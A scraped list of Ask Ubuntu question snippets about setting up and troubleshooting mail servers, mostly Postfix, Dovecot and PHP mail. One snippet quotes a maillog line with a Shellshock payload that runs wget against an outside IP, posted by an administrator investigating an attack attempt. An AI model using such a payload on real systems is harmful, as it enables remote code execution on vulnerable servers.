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Postfix smtpd_recipient_restrictions

I have been trying to set this correct for a while now but it will either come up and reject every host I try to send to or the SMTP server will not come up. Is there anyway I can permit all ...
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Send mail using SMTP from multiple computers using just an ubuntu server?

I have multiple computers in my LAN and I have one dedicated server online. I would like each of these computers to connect via SMTP to the dedicated server and be able to send an email out to me. ...
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How to debug problems the PHP mail function?

I'm writing my post in continue to this post on stackoverflow http://stackoverflow.com/questions/28781376/why-wp-mail-function-returns-false I am working on a website with a contact form that has to ...
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Postfix/dovecot mail server can send/receive local, but can't send on remote

I'm having an issue which I noticed much too late.. Apparently when I'm in my mailbox local, thus on the VPS machine itself, I can receive and send mail. However, when I open my mailbox in any mail ...
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Can't create subfolder of INBOX squirrelmail

That is my problem, that I can't createsubfolder of INBOX in squirrelmail (1.4.23). Here is the picture. I can't choose INBOX from the rolling down menu. I want to create there a subfolder like ...
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My Ubuntu mail server rejects incoming mails

i had installed my ubuntu server, postfix and rest using the link https://www.howtoforge.com/perfect-server-ubuntu-14.10-with-apache-php-myqsl-pureftpd-bind-postfix-doveot-and-ispconfig But incoming ...
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Postfix, Dovecot mail server can send mails but not recive

I'm new to linux servers and just got myself a VPS from Ovh. Also got a domain though ovh. I have tried to use this Tutorial to set it up. And I guess that somewhere I must have messed up. Have ...
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Can send mail, but not receive mail. What's going wrong?

I created a new server with Ubuntu 14.04 on it and set everything like I had on my previous server (nothing strange or different as it should) (12.04), but strangely.. I cannot receive mail. A few ...
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cannot send mail from home with mutt

The message I send from how show up in my email instantly, from home, they never arrive. I don't not have a postfix server running, so I cant get return mail. How can i trouble shoot this? echo "This ...
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need zenoss mail alerts for ubuntu mysql apache2 services

I want to know how to setup zenoss which will send alert mail for mysql apache2 and diskspace threshold services down.pls help me out
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APACHE 2 DNS: DNS for mail server

I am trying to configure my own mail server. My domain name is: exemple.net I've created a sub-domaine (a virtual host an apache2): mail.exemple.net my hostname is: server01 (the name of the server ...
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How to set up ubuntu server so it uses outside mail server

I have no idea about setting up mails. I'm using 3rd party paid mail and would like to use their smtp server and everything. So how do I set it up that the server scripts send mail through that?
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Now after upgrade from 12.04.5 LTS to 14.04.1 LTS Dovecot will not authen. system users

I've had 12.04.5 LTS with Postfix and Dovecot working for a long time now, but now after upgrading to 14.04.1 LTS Dovecot will not authenticate the system users. Dovecot will however work fine for ...
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How to configure postfix to replace the name of the sender to a configured one

I have postfix installed on my machine. I also use the generic maps to overwrite the email address from ubuntu to admin@mydomain.com: /etc/postfix/generic ubuntu admin@mydomain.com Now the ...
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Mail Server Issue

I have a domain example.com with its MX record pointed on lets say mail.bet-cool.com, Domain example.com is pointing to a certain VPS. While sending mail from VPS(Postfix without dovecot) to ...
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/usr/bin/mail behavior change after installing updates

I am running nagios 3 on Ubuntu server 12.04 LTS. Updates were about a month behind, after installing them yesterday the behavior of /usr/bin/mail has changed. I need to specify a sender address, but ...
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Mailbox icon replaced Dropbox icon

Recently I noticed that my Dropbox icon is missing. About the same time, I noticed that there is some kind of mail icon right where the Dropbox is supposed to be. I don't use any kind of ...
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Unable to receive emails with postfix/dovecot

I am using Postfix and Dovecot on Ubuntu 12.04. I am able to send messages out to my Gmail address but unable to receive messages in. In system logs, messages show as sent to my inbox but the message ...
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Send mail as from my personal gmail account

Today I have tried mail utility from my ubuntu system. Now in mail command, I could not find an utility to send mail from my gmail account. In fact, it sends from some adhikarisubir@ubutu ...
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setup local mail on ubuntu 12.04 not to the outside world just internally and use the mail command

I would like simple local mail setup for Ubuntu 12.04. I would like to use the mail command. I will install the other clients at a later date, I just want to get this default working. I found a post ...
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Multiple messages to recipient_bcc_maps and sender_bcc_maps with Postfix while using amavis

I have a problem to configure my postfix. My aim is to have a mail-server which filters spam and virus mails by using Spamassasin and ClamAV via amavis. Furthermore i want to archive a copy of each ...
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I need Ubuntu Desktop for developers. Can someone mail it to me

I don't have enough Megabytes for downloading the Ubuntu Desktop for developers. Can anyone mail me the copy? It would be greatly appreciated. Thank you... Vivian, Papua New Guinea.
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how can I redirect all mails of my smtp server on only one adress mail (using roundcube)?

I have install postfix/courrier to send and recieve mails. I use roundcube like webmail to watch it. I have configure postfix with mysql DB, and create "contact@mydomain.com" adress. There is ...
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Know my mail sending options

I am having a ubuntu server with 12.04. How I detect which mail server I am using. I can't find any listed mail servers POSTFIX, SENDMAIL etc.. Is there any settings related to gmail SMTP?
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Postfix + MySQL + dovecot + postfixadmin - mail arrive to local users

I'm trying to set up a mail server with virtual users. I can: login in roundcube, send mail to gmail but when I send messages to my own domain, the mails arrive to local users. Mail was in ...
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PHP not sending mail? Works on phone, and other applications

So I have an application (WHMCS) and it does not send mail. I get this error: PHPMailer Exception - SMTP Error: Could not authenticate. It uses PHPMailer, I get this error from it when it tries to ...
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Typo3 sending smtp-emails with extbase?

I wanted to aks if somebody can help me out here. I use typo 6.2 and in my Controller (using extbase) I already have this code running correctly: $message = ...
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your host may have disabled the mail() function

After installing lampp, I have this error on a website (a wordpress locally hosted) trying to send an email: The e-mail could not be sent. Possible reason: your host may have disabled the mail() ...
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Shellshock attempt in maillog

I just crawled through my logs and have found about this: Oct 24 11:26:37 hostname postfix/cleanup[2532]: 86A1B7E00A3: message-id=() { :; }; wget 185.10.58.181/VULNERABLE; Oct 24 11:26:37 hostname ...
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How to view mail through a client?

I just finished installing the postfix mail server and I was wondering how I can view my mail through a client rather than through command line? What clients exist for this and which are considered ...
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how to sent mail from my Ubuntu server

I am a beginner in mail server. I want to set up my own mail server so that I can send mail from my server to anyone. I have also installed postfix. How do I set this up? What do I need? How do I ...
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Postfix can send but not receive mail

I just finished following this tutorial to set up a postfix mail server on ubuntu 14.04: https://www.digitalocean.com/community/tutorials/how-to-install-and-setup-postfix-on-ubuntu-14-04 When I ...
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Postfix has stopped logging

After hearing about the BASH bug a week ago I decided to update my whole server using apt-get update && apt-get upgrade Today I have noticed that postfix has stopped logging my mail ...
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Installing Mail Server [duplicate]

I apologize if this has been asked before but how do I set up a mailserver? I've tried countless tutorials over the past several hours and they all don't seem to work. Can someone guide me in the ...
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Postfix 2.11.0, Error Code: Relay access denied 554.5.7.1, Rejects all external in-bound emails

Some TLC needed here. I am building this postfix/dovecot/clamav mail server following the tutorial here: https://www.exratione.com/2014/05/a-mailserver-on-ubuntu-1404-postfix-dovecot-mysql/ The issue ...
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Need help to choose mail sserver package which provides web based GUI?

Few things to just give you an background. I want to configure it on a fresh installation of Ubuntu Server 14.04 LTS Also have webmin installed. All the packages must be freeware or open source ...
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Able to send outgoing emails but not internal

This is probably simple question, but I need a push in right direction here. I've installed ssmtp and configured /etc/ssmtp.conf file, and can successfully send outgoing emails, but I cannot send ...
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migrate from Thunderbird to Evolution without re-downloading IMAP mails

I have about 3GB mails hold for offline usage in my thunderbird and it would take quite a while on a slow iinternet connection to re-download them all again in evolution. Is there a way to install ...
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no mail in `/var/mail`

i am trying to setup my system mail to monitor my mdadm raid arrays but I have no mail in /var/mail. How can I set this up and how can I test it? There should be something in may mail account I would ...
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root mail changed

I changed my root email for create a DNS server and now I can't change anything, I'm trying to enter as root using "sudo su", but when I write this command, nothing happens, and when I try to move, ...
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Joomla with postfix php mail not working

I am getting this error in mail.log (after trying to submit a contact form): fatal: Recipient addresses must be specified on the command line or via the -t option Its worth mentioning that I have ...
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Missing X-Spam-Status header

I recently upgraded to Ubuntu 14.04.1 LTS (trusty) and have followed the directions in https://help.ubuntu.com/14.04/serverguide/mail-filtering.html and am sending and receiving mail just fine. While ...
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DISABLE all mail functions in Ubuntu [closed]

I have a standard staging environment on a Ubuntu server (LAMP), with a couple of webpages on it. There are some webpages that send Emails on particular workflow events. I have to run few tests on ...
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When I login, I see “You have mail.”, but /var/mail/<username> is empty

I have a Ubuntu 14.04LTS installed on VPS. I have noticed that when I login I see greeting saying "You have mail", but cat /var/mail/myusername returns empty string, i.e. the file is empty. I ...
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No new mail notification in Thunderbird

I am using Thunderbird 31 on Ubuntu. I set up my accounts and then I closed Thunderbird. But I'm not getting any notification. Is there any add-on I need?
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A question on mysql command

I want to config postfix. I followed these instructions. On the first step I saw this mysql command: mysql > GRANT SELECT ON servermail.* TO 'usermail'@'127.0.0.1' IDENTIFIED BY 'mailpassword'; ...
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Corrupt PostFix Installv

I accidently removed some files that postfix needs and now it will not install or uninstall have tried: sudo apt-get purge postfix sudo apt-get remove postfix sudo apt-get upgrade sudo apt-get ...
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Evolution mail client for ubuntu 12.04

I am facing the following issue: When I attach 1 or 2 mails (which already have some attachment say word or excel file ) as attachments in any mail through evolution mail client for ubuntu 12.04, ...
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What is the difference between postfix and mailsutils?

I am attempting to set up an AWS EC2 with a simple mailing service for my crontab. And I have postfix set up, but when I used the "mail" command it did not work. So I installed mailutils as ubuntu ...
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Ubuntu Terminal Mail client

I am looking for an E-mail Client in the form of a Terminal/Console application. Does such an app exist on Ubuntu 14.04? I've yet to find one.